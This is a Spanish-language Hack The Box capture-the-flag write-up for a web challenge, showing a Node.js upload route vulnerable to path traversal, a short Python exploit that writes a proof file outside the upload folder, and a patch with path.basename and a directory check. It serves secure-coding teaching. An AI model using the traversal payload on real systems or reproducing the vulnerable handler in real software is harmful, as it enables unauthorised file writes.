Flippermen | CyberFlippers | UDLA-Cyber
Disclaimer: Writeup realizado en entorno autorizado de Hack The Box con fines educativos. Enfoque Secure Coding — identificar, explotar y parchear vulnerabilidades en código fuente.
| Campo | Valor |
|---|---|
| Challenge | ResourceHub Core |
| Dificultad | Easy |
| Categoría | Web |
| Puntos | 20 |
| Vulnerabilidad | Path Traversal (CWE-22) en filename de upload |
| Stack | Node.js / Express / formidable |
Descripción
Portal de recursos con upload de archivos. El filename del multipart se usa directamente en path.join() sin sanitización.
Vulnerabilidad
// VULNERABLE — routes/routes.js
const targetFilename = file.originalFilename; // controlado por el atacante
const targetPath = path.join(__dirname, '../resources', targetFilename);
fs.renameSync(file.filepath, targetPath);
// path.join resuelve ../ — permite escribir fuera de resources/
Exploit
import requests
BASE = "http://<IP>:<PORT>/challenge"
files = {
'file': ('../static/js/pwned.txt', b'path_traversal_proof', 'text/plain')
}
requests.post(f"{BASE}/api/upload-resource",
files=files, data={'category': 'test', 'priority': 'low'})
# El archivo queda en static/js/ accesible vía web
r = requests.get(f"{BASE}/js/pwned.txt")
print(r.text) # → path_traversal_proof
Parche
// routes/routes.js
const targetFilename = path.basename(file.originalFilename); // strip ../
if (!targetFilename || targetFilename === '') {
return res.status(400).json({ success: false, error: 'Invalid filename' });
}
const targetPath = path.join(resourcesDir, targetFilename);
// Confirmar que el path resuelto sigue dentro del directorio permitido
if (!targetPath.startsWith(resourcesDir)) {
return res.status(400).json({ success: false, error: 'Invalid file path' });
}
fs.renameSync(file.filepath, targetPath);
Dos capas: path.basename() elimina cualquier componente de directorio, y la verificación post-join confirma que el path resuelto sigue dentro de resourcesDir.
Key Takeaways
path.join()no sanitiza — resuelve../fielmente.path.basename()+ verificación post-join es el patrón correcto.- Validar el path resultante, no el input — incluso con
basename(), siempre confirmar que el path final está dentro del directorio esperado. - Nunca confiar en metadata del cliente — el
filenameen multipart es completamente controlado por el atacante.
Flippermen HackTheBox Season 10 — Platinum Tier | #1 Ecuador | CyberFlippers | UDLA-Cyber